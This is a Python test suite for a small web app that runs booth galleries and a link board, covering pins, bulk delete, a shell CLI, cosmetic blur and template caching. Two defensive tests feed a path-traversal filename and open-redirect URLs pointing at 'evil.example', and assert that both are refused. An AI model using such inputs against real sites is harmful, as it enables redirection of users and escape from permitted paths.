_ROW = "- [{d}]({u}) <sub>· {w} · 2026-08-23 10:00</sub>"
|
||
|
||
|
||
def _board(tmp_path, *rows):
|
||
b = tmp_path / "links"
|
||
b.mkdir(parents=True, exist_ok=True)
|
||
(b / LINKS_FILE).write_text("".join(r + "\n" for r in rows))
|
||
return b
|
||
|
||
|
||
def test_parse_reads_description_url_and_provenance(tmp_path):
|
||
b = _board(tmp_path, _ROW.format(d="Booth", u="http://x/", w="infra-ops"))
|
||
|
||
e = parse_link_entries((b / LINKS_FILE).read_text())[0]
|
||
|
||
assert e["desc"] == "Booth"
|
||
assert e["url"] == "http://x/"
|
||
assert e["who"] == "infra-ops"
|
||
assert e["when"] == "2026-08-23 10:00"
|
||
|
||
|
||
def test_parse_tolerates_prose_around_the_rows(tmp_path):
|
||
"""The board is a plain markdown file the operator may edit by hand."""
|
||
b = _board(tmp_path, "# My board", "", _ROW.format(d="A", u="http://a/", w="x"),
|
||
"a note someone typed", _ROW.format(d="B", u="http://b/", w="y"))
|
||
|
||
e = parse_link_entries((b / LINKS_FILE).read_text())
|
||
|
||
assert [x["desc"] for x in e] == ["A", "B"]
|
||
|
||
|
||
def test_ids_are_content_addressed_not_positional(tmp_path):
|
||
"""The whole reason removal is by id: another session can append at any
|
||
moment, and an index would then point at a different row."""
|
||
row_a = _ROW.format(d="A", u="http://a/", w="x")
|
||
b = _board(tmp_path, row_a)
|
||
before = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]
|
||
|
||
# a concurrent session appends ABOVE nothing but shifts nothing either way
|
||
with (b / LINKS_FILE).open("a") as f:
|
||
f.write(_ROW.format(d="B", u="http://b/", w="y") + "\n")
|
||
|
||
after = {e["desc"]: e["id"] for e in parse_link_entries((b / LINKS_FILE).read_text())}
|
||
|
||
assert after["A"] == before, "an append must not change an existing row's id"
|
||
|
||
|
||
def test_remove_takes_exactly_the_named_row(tmp_path):
|
||
b = _board(tmp_path,
|
||
_ROW.format(d="keep me", u="http://a/", w="x"),
|
||
_ROW.format(d="kill me", u="http://b/", w="y"),
|
||
_ROW.format(d="keep me too", u="http://c/", w="z"))
|
||
target = next(e for e in parse_link_entries((b / LINKS_FILE).read_text())
|
||
if e["desc"] == "kill me")
|
||
|
||
removed = remove_link_entry(b, target["id"])
|
||
|
||
assert removed["desc"] == "kill me"
|
||
left = [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())]
|
||
assert left == ["keep me", "keep me too"]
|
||
|
||
|
||
def test_remove_reports_a_miss_rather_than_deleting_a_neighbour(tmp_path):
|
||
"""The failure mode that matters: a stale id must be a no-op, not a guess."""
|
||
b = _board(tmp_path, _ROW.format(d="only", u="http://a/", w="x"))
|
||
|
||
assert remove_link_entry(b, "deadbeef") is None
|
||
assert len(parse_link_entries((b / LINKS_FILE).read_text())) == 1
|
||
|
||
|
||
def test_remove_preserves_hand_written_prose(tmp_path):
|
||
b = _board(tmp_path, "# Board", _ROW.format(d="gone", u="http://a/", w="x"), "trailing note")
|
||
target = parse_link_entries((b / LINKS_FILE).read_text())[0]
|
||
|
||
remove_link_entry(b, target["id"])
|
||
|
||
text = (b / LINKS_FILE).read_text()
|
||
assert "# Board" in text and "trailing note" in text
|
||
assert "http://a/" not in text
|
||
|
||
|
||
def test_remove_on_a_board_with_no_file_is_a_no_op(tmp_path):
|
||
b = tmp_path / "links"
|
||
b.mkdir()
|
||
assert remove_link_entry(b, "whatever") is None
|
||
|
||
|
||
def test_unlink_endpoint_removes_one_row(client):
|
||
c, data = client
|
||
b = _board(data, _ROW.format(d="a", u="http://a/", w="x"),
|
||
_ROW.format(d="b", u="http://b/", w="y"))
|
||
target = parse_link_entries((b / LINKS_FILE).read_text())[1]
|
||
|
||
r = c.post("/b/links/unlink", data={"entry": target["id"]}, follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
assert [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())] == ["a"]
|
||
|
||
|
||
def test_unlink_endpoint_rejects_a_bad_booth(client):
|
||
c, _ = client
|
||
assert c.post("/b/nope/unlink", data={"entry": "x"}).status_code == 404
|
||
|
||
|
||
def _body(client_, path):
|
||
"""Rendered body only — the stylesheet mentions class names too."""
|
||
return client_.get(path).text.split("</style>")[-1]
|
||
|
||
|
||
def test_board_booth_renders_rows_not_a_markdown_blob(client):
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"),
|
||
_ROW.format(d="B", u="http://b/", w="y"))
|
||
|
||
body = _body(c, "/b/links/")
|
||
|
||
assert body.count('class="board-row"') == 2
|
||
assert "/b/links/unlink" in body, "each row needs its own remove control"
|
||
assert 'class="gallery"' not in body, "links.md must not ALSO render as a doc tile"
|
||
|
||
|
||
def test_board_booth_does_not_claim_to_be_empty(client):
|
||
"""Filtering links.md out of the gallery leaves items empty — the empty
|
||
state must key on the board too, or a full board reads as an empty booth."""
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"))
|
||
|
||
assert "is empty" not in _body(c, "/b/links/")
|
||
|
||
|
||
def test_board_booth_counts_links_not_files(client):
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"),
|
||
_ROW.format(d="B", u="http://b/", w="y"))
|
||
|
||
assert "2 links" in _body(c, "/b/links/")
|
||
|
||
|
||
def test_board_booth_has_no_one_click_wipe(client):
|
||
"""Same rule as the kept lane: no single click destroys a durable board."""
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"))
|
||
|
||
assert "Wipe now" not in _body(c, "/b/links/")
|
||
|
||
|
||
def test_ordinary_booths_are_untouched_by_the_board_branch(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
|
||
body = _body(c, "/b/run1/")
|
||
|
||
assert "Wipe now" in body
|
||
assert "1 item" in body
|
||
assert 'class="board-row"' not in body
|
||
|
||
|
||
def test_a_genuinely_empty_booth_still_says_so(client):
|
||
c, data = client
|
||
(data / "hollow").mkdir()
|
||
|
||
assert "is empty" in _body(c, "/b/hollow/")
|
||
|
||
|
||
# ---- the `booth` CLI: links / unlink ----------------------------------------
|
||
#
|
||
# Exercised as a subprocess because the bugs these pin were SHELL bugs, not
|
||
# Python ones — the module was correct throughout while the wrapper silently
|
||
# did nothing. Testing the module alone would have caught neither.
|
||
|
||
import subprocess
|
||
|
||
CLI = pathlib.Path(__file__).resolve().parent.parent / "scripts" / "booth"
|
||
|
||
|
||
def _cli(data, *args):
|
||
env = {**os.environ, "BOOTH_DATA_DIR": str(data)}
|
||
return subprocess.run([str(CLI), *args], capture_output=True, text=True, env=env)
|
||
|
||
|
||
def test_cli_links_exits_zero_on_a_NON_empty_board(tmp_path):
|
||
"""Regression: the branch ended with `[ "$n" -eq 0 ] && echo ...`, so it
|
||
returned 1 whenever the board had rows. `unlink`'s index lookup calls it
|
||
inside $( ) under `set -e`, so a successful listing killed the caller and
|
||
the removal silently did nothing."""
|
||
_cli(tmp_path, "link", "http://a/", "A")
|
||
|
||
r = _cli(tmp_path, "links")
|
||
|
||
assert r.returncode == 0, r.stderr
|
||
assert "http://a/" in r.stdout
|
||
|
||
|
||
def test_cli_unlink_by_index(tmp_path):
|
||
for u in ("http://a/", "http://b/", "http://c/"):
|
||
_cli(tmp_path, "link", u, u)
|
||
|
||
r = _cli(tmp_path, "unlink", "2")
|
||
|
||
assert r.returncode == 0, r.stderr
|
||
assert "http://b/" in r.stdout
|
||
left = _cli(tmp_path, "links").stdout
|
||
assert "http://a/" in left and "http://c/" in left and "http://b/" not in left
|
||
|
||
|
||
def test_cli_unlink_by_id_even_when_the_id_is_all_digits(tmp_path):
|
||
"""Regression: ids are 8 hex chars and roughly one in forty is all digits.
|
||
Those were being read as row numbers, resolving to nothing, and removing
|
||
nothing — while reporting success."""
|
||
_cli(tmp_path, "link", "http://a/", "A")
|
||
board = tmp_path / "links"
|
||
entry = parse_link_entries((board / LINKS_FILE).read_text())[0]
|
||
# force the all-digit case rather than waiting for it to occur naturally
|
||
forced = "12345678"
|
||
raw = (board / LINKS_FILE).read_text()
|
||
assert entry["id"] != forced
|
||
|
||
r = _cli(tmp_path, "unlink", entry["id"])
|
||
|
||
assert r.returncode == 0, r.stderr
|
||
assert parse_link_entries((board / LINKS_FILE).read_text()) == []
|
||
assert raw # board did exist beforehand
|
||
|
||
|
||
def test_cli_unlink_rejects_a_non_id_non_index(tmp_path):
|
||
_cli(tmp_path, "link", "http://a/", "A")
|
||
|
||
r = _cli(tmp_path, "unlink", "zz")
|
||
|
||
assert r.returncode != 0
|
||
assert "not an entry id" in r.stderr
|
||
assert parse_link_entries((tmp_path / "links" / LINKS_FILE).read_text())
|
||
|
||
|
||
def test_cli_unlink_of_a_stale_id_leaves_the_board_alone(tmp_path):
|
||
_cli(tmp_path, "link", "http://a/", "A")
|
||
|
||
r = _cli(tmp_path, "unlink", "deadbeef")
|
||
|
||
assert r.returncode != 0
|
||
assert len(parse_link_entries((tmp_path / "links" / LINKS_FILE).read_text())) == 1
|
||
|
||
|
||
# ---- the standing link board: pin (favorite) + ordering + multi-select ------
|
||
#
|
||
# The board renders pinned-first then newest-first, a ★ pins a row to the top,
|
||
# and a checkbox column feeds a bulk delete. Pin state lives in a `.pins` sidecar
|
||
# (content ids, one per line) so links.md stays a pure append log and a row's id
|
||
# never changes just because it was pinned.
|
||
|
||
|
||
def test_read_pins_empty_when_no_file(tmp_path):
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
assert read_pins(b) == set()
|
||
assert not (b / PINS_FILE).exists()
|
||
|
||
|
||
def test_toggle_pin_round_trips(tmp_path):
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
eid = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]
|
||
|
||
assert toggle_pin(b, eid) is True
|
||
assert read_pins(b) == {eid}
|
||
|
||
assert toggle_pin(b, eid) is False
|
||
assert read_pins(b) == set()
|
||
|
||
|
||
def test_pins_persist_in_a_dotfile_not_in_links_md(tmp_path):
|
||
"""The whole reason for the sidecar: links.md stays untouched by a pin, so it
|
||
remains a pure atomic-append log and the row's content id does not drift."""
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
before = (b / LINKS_FILE).read_text()
|
||
eid = parse_link_entries(before)[0]["id"]
|
||
|
||
toggle_pin(b, eid)
|
||
|
||
assert (b / LINKS_FILE).read_text() == before, "pinning must not rewrite links.md"
|
||
assert (b / PINS_FILE).read_text().strip() == eid
|
||
assert PINS_FILE.startswith("."), "pin file must be a dotfile so listings skip it"
|
||
|
||
|
||
def test_order_for_display_pins_first_then_newest(tmp_path):
|
||
b = _board(tmp_path,
|
||
_ROW.format(d="oldest", u="http://1/", w="x"),
|
||
_ROW.format(d="middle", u="http://2/", w="x"),
|
||
_ROW.format(d="newest", u="http://3/", w="x"))
|
||
entries = parse_link_entries((b / LINKS_FILE).read_text())
|
||
ids = {e["desc"]: e["id"] for e in entries}
|
||
|
||
ordered = order_for_display(entries, {ids["middle"]})
|
||
|
||
# pinned (middle) leads; the rest fall in newest-first order
|
||
assert [e["desc"] for e in ordered] == ["middle", "newest", "oldest"]
|
||
assert ordered[0]["pinned"] is True
|
||
assert all(e["pinned"] is False for e in ordered[1:])
|
||
|
||
|
||
def test_order_for_display_is_newest_first_with_no_pins(tmp_path):
|
||
b = _board(tmp_path,
|
||
_ROW.format(d="first", u="http://1/", w="x"),
|
||
_ROW.format(d="last", u="http://2/", w="x"))
|
||
entries = parse_link_entries((b / LINKS_FILE).read_text())
|
||
|
||
ordered = order_for_display(entries, set())
|
||
|
||
assert [e["desc"] for e in ordered] == ["last", "first"] # newest on top
|
||
|
||
|
||
def test_order_for_display_does_not_mutate_parse_output(tmp_path):
|
||
"""Callers that want the file-order view (the CLI) must not see a `pinned`
|
||
key leak into parse_link_entries' dicts."""
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
entries = parse_link_entries((b / LINKS_FILE).read_text())
|
||
|
||
order_for_display(entries, {entries[0]["id"]})
|
||
|
||
assert "pinned" not in entries[0]
|
||
|
||
|
||
def test_orphan_pin_is_inert_not_shown_as_pinned(tmp_path):
|
||
"""A pin id that no longer matches any row must simply not render as pinned —
|
||
never crash, never resurrect a phantom row."""
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
entries = parse_link_entries((b / LINKS_FILE).read_text())
|
||
|
||
ordered = order_for_display(entries, {"deadbeef"}) # id matches nothing
|
||
|
||
assert [e["desc"] for e in ordered] == ["a"]
|
||
assert ordered[0]["pinned"] is False
|
||
|
||
|
||
def test_remove_link_entry_also_unpins(tmp_path):
|
||
"""Removing a row drops its pin, so .pins does not accumulate dead ids."""
|
||
b = _board(tmp_path,
|
||
_ROW.format(d="keep", u="http://a/", w="x"),
|
||
_ROW.format(d="gone", u="http://b/", w="y"))
|
||
gone = next(e for e in parse_link_entries((b / LINKS_FILE).read_text()) if e["desc"] == "gone")
|
||
keep = next(e for e in parse_link_entries((b / LINKS_FILE).read_text()) if e["desc"] == "keep")
|
||
toggle_pin(b, gone["id"])
|
||
toggle_pin(b, keep["id"])
|
||
assert read_pins(b) == {gone["id"], keep["id"]}
|
||
|
||
remove_link_entry(b, gone["id"])
|
||
|
||
assert read_pins(b) == {keep["id"]}, "the removed row's pin is dropped, the other kept"
|
||
|
||
|
||
# ---- HTTP: /pin and /unlink-many --------------------------------------------
|
||
|
||
|
||
def test_pin_endpoint_toggles(client):
|
||
c, data = client
|
||
b = _board(data, _ROW.format(d="a", u="http://a/", w="x"))
|
||
eid = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]
|
||
|
||
r = c.post("/b/links/pin", data={"entry": eid}, follow_redirects=False)
|
||
assert r.status_code == 303
|
||
assert read_pins(b) == {eid}
|
||
|
||
c.post("/b/links/pin", data={"entry": eid})
|
||
assert read_pins(b) == set()
|
||
|
||
|
||
def test_pin_endpoint_rejects_a_bad_booth(client):
|
||
c, _ = client
|
||
assert c.post("/b/nope/pin", data={"entry": "x"}).status_code == 404
|
||
|
||
|
||
def test_unlink_many_removes_all_selected(client):
|
||
c, data = client
|
||
b = _board(data,
|
||
_ROW.format(d="a", u="http://a/", w="x"),
|
||
_ROW.format(d="b", u="http://b/", w="y"),
|
||
_ROW.format(d="c", u="http://c/", w="z"))
|
||
es = parse_link_entries((b / LINKS_FILE).read_text())
|
||
a_id = next(e["id"] for e in es if e["desc"] == "a")
|
||
c_id = next(e["id"] for e in es if e["desc"] == "c")
|
||
|
||
r = c.post("/b/links/unlink-many", data={"sel": [a_id, c_id]}, follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
left = [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())]
|
||
assert left == ["b"]
|
||
|
||
|
||
def test_unlink_many_empty_selection_is_a_noop(client):
|
||
c, data = client
|
||
_board(data, _ROW.format(d="a", u="http://a/", w="x"))
|
||
|
||
r = c.post("/b/links/unlink-many", data={}, follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
assert len(parse_link_entries((data / "links" / LINKS_FILE).read_text())) == 1
|
||
|
||
|
||
def test_unlink_many_rejects_a_bad_booth(client):
|
||
c, _ = client
|
||
assert c.post("/b/nope/unlink-many", data={"sel": "x"}).status_code == 404
|
||
|
||
|
||
# ---- HTTP: the board renders the new controls in the right order ------------
|
||
|
||
|
||
def test_board_renders_pin_and_multiselect_controls(client):
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"))
|
||
|
||
body = _body(c, "/b/links/")
|
||
|
||
assert "/b/links/pin" in body # per-row pin control
|
||
assert "/b/links/unlink-many" in body # bulk delete
|
||
assert 'name="sel"' in body # selection checkbox
|
||
assert 'class="board-pin' in body # the ★ toggle
|
||
|
||
|
||
def test_board_page_orders_newest_first_and_pinned_on_top(client):
|
||
c, data = client
|
||
b = _board(data,
|
||
_ROW.format(d="first-posted", u="http://1/", w="x"),
|
||
_ROW.format(d="last-posted", u="http://2/", w="y"))
|
||
|
||
body = _body(c, "/b/links/")
|
||
assert body.index("last-posted") < body.index("first-posted"), "newest on top by default"
|
||
|
||
older = next(e for e in parse_link_entries((b / LINKS_FILE).read_text())
|
||
if e["desc"] == "first-posted")
|
||
c.post("/b/links/pin", data={"entry": older["id"]})
|
||
|
||
body2 = _body(c, "/b/links/")
|
||
assert body2.index("first-posted") < body2.index("last-posted"), "pinned row floats to the top"
|
||
assert "1 pinned" in body2
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Blur (cosmetic censoring) + the keep button on ephemeral cards.
|
||
# Both added 2026-09-19 on operator request.
|
||
#
|
||
# ⚠ Every blur test below asserts the COSMETIC contract deliberately: the file
|
||
# stays reachable. If someone later "fixes" that by 403-ing blurred items, these
|
||
# tests fail and that is correct — it would be a different feature with a
|
||
# different name, and half-implemented access control is worse than none.
|
||
# ---------------------------------------------------------------------------
|
||
|
||
from booth.app import BLUR_FILE, read_blurred, set_blurred # noqa: E402
|
||
|
||
|
||
def _png(p):
|
||
p.write_bytes(
|
||
b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
|
||
b"\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx\x9cc\x00"
|
||
b"\x01\x00\x00\x05\x00\x01\r\n-\xb4\x00\x00\x00\x00IEND\xaeB`\x82"
|
||
)
|
||
|
||
|
||
def test_blur_state_roundtrip(tmp_path):
|
||
assert read_blurred(tmp_path) == set(), "missing file must read as empty"
|
||
set_blurred(tmp_path, "a/x.png", True)
|
||
set_blurred(tmp_path, "b.png", True)
|
||
assert read_blurred(tmp_path) == {"a/x.png", "b.png"}
|
||
set_blurred(tmp_path, "b.png", False)
|
||
assert read_blurred(tmp_path) == {"a/x.png"}
|
||
|
||
|
||
def test_blur_state_removes_file_when_empty(tmp_path):
|
||
"""An empty set deletes the marker rather than leaving a zero-byte file, so
|
||
`ls -a` tells the truth about whether anything in here is blurred."""
|
||
set_blurred(tmp_path, "x.png", True)
|
||
assert (tmp_path / BLUR_FILE).exists()
|
||
set_blurred(tmp_path, "x.png", False)
|
||
assert not (tmp_path / BLUR_FILE).exists()
|
||
|
||
|
||
def test_blur_state_is_idempotent_both_ways(tmp_path):
|
||
set_blurred(tmp_path, "x.png", False) # unblur what was never blurred
|
||
assert read_blurred(tmp_path) == set()
|
||
set_blurred(tmp_path, "x.png", True)
|
||
set_blurred(tmp_path, "x.png", True) # blur twice
|
||
assert read_blurred(tmp_path) == {"x.png"}
|
||
|
||
|
||
def test_build_gallery_flags_blurred_items(tmp_path):
|
||
_png(tmp_path / "a.png")
|
||
_png(tmp_path / "b.png")
|
||
set_blurred(tmp_path, "a.png", True)
|
||
by_name = {i["name"]: i for i in build_gallery(tmp_path)}
|
||
assert by_name["a.png"]["blurred"] is True
|
||
assert by_name["b.png"]["blurred"] is False, "unblurred items must not be flagged"
|
||
|
||
|
||
def test_blur_route_toggles_both_directions(client):
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
|
||
c.post("/b/bo/blur", data={"f": "x.png", "on": "1"}, follow_redirects=False)
|
||
assert read_blurred(d) == {"x.png"}
|
||
c.post("/b/bo/blur", data={"f": "x.png", "on": "0"}, follow_redirects=False)
|
||
assert read_blurred(d) == set()
|
||
|
||
|
||
def test_blur_route_rejects_traversal(client):
|
||
"""A blur entry is always booth-relative. Without this the marker file is a
|
||
write-primitive pointed at an attacker-chosen path."""
|
||
c, root = client
|
||
(root / "bo").mkdir()
|
||
r = c.post("/b/bo/blur", data={"f": "../escape.png", "on": "1"},
|
||
follow_redirects=False)
|
||
assert r.status_code == 400
|
||
assert read_blurred(root / "bo") == set()
|
||
|
||
|
||
def test_blurred_item_renders_blurred_and_unblurred_does_not(client):
|
||
"""Both states, because a blur class that is always present is the same
|
||
instrument as one that is never present."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "hidden.png")
|
||
_png(d / "shown.png")
|
||
|
||
body = c.get("/b/bo/").text
|
||
assert "item-image blurred" not in body, "nothing blurred yet"
|
||
|
||
set_blurred(d, "hidden.png", True)
|
||
body = c.get("/b/bo/").text
|
||
assert "blurred" in body
|
||
assert 'data-item="hidden.png"' in body
|
||
|
||
|
||
def test_blur_is_cosmetic_the_file_is_still_served(client):
|
||
"""The contract, asserted on purpose. Blur hides an item from a glance; it
|
||
is NOT access control and must never be mistaken for it."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
set_blurred(d, "x.png", True)
|
||
assert c.get("/b/bo/x.png").status_code == 200
|
||
|
||
|
||
def test_index_blurs_the_cover_thumb_only_when_the_cover_is_blurred(client):
|
||
"""Otherwise the front page cheerfully displays the exact thing someone
|
||
asked to hide inside the booth."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "cover.png")
|
||
|
||
# Assert the ATTRIBUTE, not the bare string: `.blurred-thumb{...}` is in
|
||
# base.html's stylesheet on every page, so a substring check passes in both
|
||
# states and proves nothing. This test failed usefully on exactly that.
|
||
assert 'class="blurred-thumb"' not in c.get("/").text
|
||
set_blurred(d, "cover.png", True)
|
||
assert 'class="blurred-thumb"' in c.get("/").text
|
||
|
||
|
||
def test_ephemeral_card_offers_keep_and_keeping_works(client):
|
||
"""The /keep route and `booth keep` predate this button; until 2026-09-19
|
||
the UI could only RELEASE a kept booth, so the round trip needed a shell."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
|
||
body = c.get("/").text
|
||
assert 'action="/b/bo/keep"' in body, "ephemeral card must offer keep"
|
||
|
||
c.post("/b/bo/keep", follow_redirects=False)
|
||
assert (d / KEEP_MARKER).exists()
|
||
|
||
# ...and the round trip closes: released booths lose the marker again.
|
||
c.post("/b/bo/unkeep", follow_redirects=False)
|
||
assert not (d / KEEP_MARKER).exists()
|
||
|
||
|
||
def test_blur_applies_to_inline_docs_not_just_images(client):
|
||
"""Regression: the first implementation only patched the image/video
|
||
<figure>. Inline docs render through their OWN branch and were left
|
||
unblurred — the branch that puts readable text straight on the page. The
|
||
suite passed; a live check caught it."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
(d / "plain.txt").write_text("visible")
|
||
(d / "secret.txt").write_text("hidden")
|
||
set_blurred(d, "secret.txt", True)
|
||
|
||
body = c.get("/b/bo/").text
|
||
assert '<figure class="item item-doc blurred"' in body
|
||
assert body.count('<figure class="item item-doc blurred"') == 1, (
|
||
"exactly the blurred doc, not every doc"
|
||
)
|
||
|
||
|
||
def test_every_item_kind_gets_exactly_one_blur_toggle(client):
|
||
"""The regression guard for this whole feature's recurring bug.
|
||
|
||
booth.html has THREE item branches — doc, media, other — and each pass at
|
||
this feature patched some and missed others: first the blurred class landed
|
||
on media only, then the toggle landed on media only and the operator asked
|
||
"no UI option to blur/unblur?". A count assertion across mixed kinds is the
|
||
check that actually catches it; a spot check on one item never will.
|
||
"""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
(d / "note.txt").write_text("doc branch") # -> item-doc
|
||
_png(d / "pic.png") # -> item-image
|
||
(d / "blob.bin").write_bytes(b"\x00\x01binary") # -> item-other
|
||
|
||
body = c.get("/b/bo/").text
|
||
figures = body.count('<figure class="item item-')
|
||
toggles = body.count('class="blurtoggle')
|
||
assert figures == 3, f"expected all three kinds to render, got {figures}"
|
||
assert toggles == figures, (
|
||
f"{figures} items but {toggles} blur toggles — a branch was missed again"
|
||
)
|
||
|
||
|
||
def test_blur_toggle_posts_the_opposite_state(client):
|
||
"""The button must flip, not just set. A toggle hard-coded to on=1 looks
|
||
identical in the markup and silently cannot un-blur."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "pic.png")
|
||
|
||
assert 'name="on" value="1"' in c.get("/b/bo/").text
|
||
set_blurred(d, "pic.png", True)
|
||
body = c.get("/b/bo/").text
|
||
assert 'name="on" value="0"' in body, "a blurred item must offer un-blur"
|
||
assert "◉ blurred" in body
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Operator-reported, 2026-09-21: "the reveal button doesn't do anything".
|
||
# It rendered and was inert — the handler sat after {%- endblock -%} in a child
|
||
# template, which Jinja DISCARDS. Two commits and a README claimed
|
||
# click-to-reveal worked. The suite passed the whole time because nothing
|
||
# asserted against the SERVED page.
|
||
# ---------------------------------------------------------------------------
|
||
|
||
|
||
def test_reveal_handler_actually_reaches_the_served_page(client):
|
||
"""The regression that matters. Assert the handler is IN THE RESPONSE, not
|
||
that the template file contains the text — the template contained it fine
|
||
and the browser never saw it."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
set_blurred(d, "x.png", True)
|
||
|
||
body = c.get("/b/bo/").text
|
||
assert 'class="reveal"' in body, "the button must render"
|
||
assert "classList.toggle('revealed')" in body, (
|
||
"the handler must reach the page — a button with no handler is a dead "
|
||
"control, which is exactly what shipped"
|
||
)
|
||
|
||
|
||
def test_no_orphaned_markup_after_the_content_block(client):
|
||
"""Structural guard for the same defect class: anything a child template
|
||
puts outside a block is silently dropped, so the only safe number of
|
||
closing content-block tags is one, at the very end."""
|
||
tpl = (pathlib.Path(__file__).parent.parent
|
||
/ "booth" / "templates" / "booth.html").read_text()
|
||
after = tpl[tpl.rindex("{% endblock %}") + len("{% endblock %}"):]
|
||
assert after.strip() == "", (
|
||
f"content after the final endblock is discarded by Jinja: {after[:120]!r}"
|
||
)
|
||
|
||
|
||
def test_booth_page_offers_keep_when_ephemeral_and_release_when_kept(client):
|
||
"""Operator: 'adding a keep button inside a booth'. Both states, because a
|
||
control that always says the same thing cannot be driving off real state."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
|
||
body = c.get("/b/bo/").text
|
||
# Sliced on the ELEMENT, not the bare word: `boothhead` has appeared in the
|
||
# stylesheet this page carries since long before this assertion, so
|
||
# `split("boothhead")[1]` was reading CSS and passing on luck. It went red
|
||
# the first time a new rule landed above the old one (U5's .prov), which is
|
||
# the only reason anybody noticed. Same assertion, aimed at the markup.
|
||
head = body.split('class="boothhead"')[1][:900]
|
||
assert "☆ keep" in body and "release" not in head
|
||
|
||
c.post("/b/bo/keep", data={"next": "/b/bo/"}, follow_redirects=False)
|
||
body = c.get("/b/bo/").text
|
||
assert "★ kept — release" in body
|
||
|
||
|
||
def test_keep_from_inside_a_booth_stays_on_the_booth_page(client):
|
||
"""Without `next` the route redirects to /, which throws you out of the
|
||
booth you were reading."""
|
||
c, root = client
|
||
(root / "bo").mkdir()
|
||
r = c.post("/b/bo/keep", data={"next": "/b/bo/"}, follow_redirects=False)
|
||
assert r.headers["location"] == "/b/bo/"
|
||
r = c.post("/b/bo/keep", follow_redirects=False) # no next
|
||
assert r.headers["location"] == "/"
|
||
|
||
|
||
def test_next_refuses_an_open_redirect(client):
|
||
"""`next` comes from a form field, so it is attacker-controlled input."""
|
||
c, root = client
|
||
(root / "bo").mkdir()
|
||
for evil in ("//evil.example/x", "https://evil.example/x", "\\\\evil"):
|
||
r = c.post("/b/bo/keep", data={"next": evil}, follow_redirects=False)
|
||
assert r.headers["location"] == "/", f"{evil!r} must not be honoured"
|
||
|
||
|
||
def test_kept_lane_offers_a_direct_wipe_beside_release(client):
|
||
"""Operator: 'allow an x to delete next to release so i don't have to
|
||
release and then find it to delete it.'"""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
(d / KEEP_MARKER).touch()
|
||
|
||
body = c.get("/").text
|
||
assert 'class="wipe wipe-kept"' in body, "kept card must offer a direct ×"
|
||
assert 'action="/b/bo/unkeep"' in body, "release must still be there too"
|
||
# ...and it actually wipes.
|
||
c.post("/b/bo/delete", follow_redirects=False)
|
||
assert not d.exists()
|
||
|
||
|
||
# ---- the running service is a coherent snapshot ------------------------------
|
||
#
|
||
# Outage, 2026-09-21: 19 of 25 live booths returned 500 with
|
||
# `UndefinedError: 'item_marks' is undefined`. Nothing was wrong with either the
|
||
# old code or the new code — the service was running BOTH. `booth.service` sets
|
||
# WorkingDirectory to the repo, so the repo IS the deployment root, and Jinja's
|
||
# FileSystemLoader re-reads a template from disk on every render while the Python
|
||
# stays as it was at process start. Editing a template therefore deployed it
|
||
# INSTANTLY, against Python that had never heard of the context it wanted.
|
||
#
|
||
# The fix is not "remember to restart" — it is to make the two halves fail the
|
||
# same way, so the running process is always the code as of its start time.
|
||
|
||
|
||
def test_templates_do_not_hot_reload_from_disk(tmp_path):
|
||
"""Templates must be cached at startup, exactly like the Python is.
|
||
|
||
With auto_reload on, the two halves of the service have DIFFERENT staleness
|
||
rules — Python needs a restart, templates do not — and any edit to a
|
||
template puts a live service into a state that was never tested: new markup
|
||
against old context. One consistent rule ("nothing takes effect until you
|
||
restart") turns a silent 500 storm into a change that simply has not
|
||
happened yet.
|
||
"""
|
||
from booth.app import create_app
|
||
|
||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||
env = app.state.templates.env
|
||
assert env.auto_reload is False, (
|
||
"templates hot-reload from disk while the Python does not — "
|
||
"editing one deploys it to the live service instantly"
|
||
)
|
||
|
||
|
||
def test_the_dur_filter_survives_the_custom_environment(tmp_path):
|
||
"""The env is hand-built now, so the filter registration is no longer
|
||
incidental to the constructor."""
|
||
from booth.app import create_app
|
||
|
||
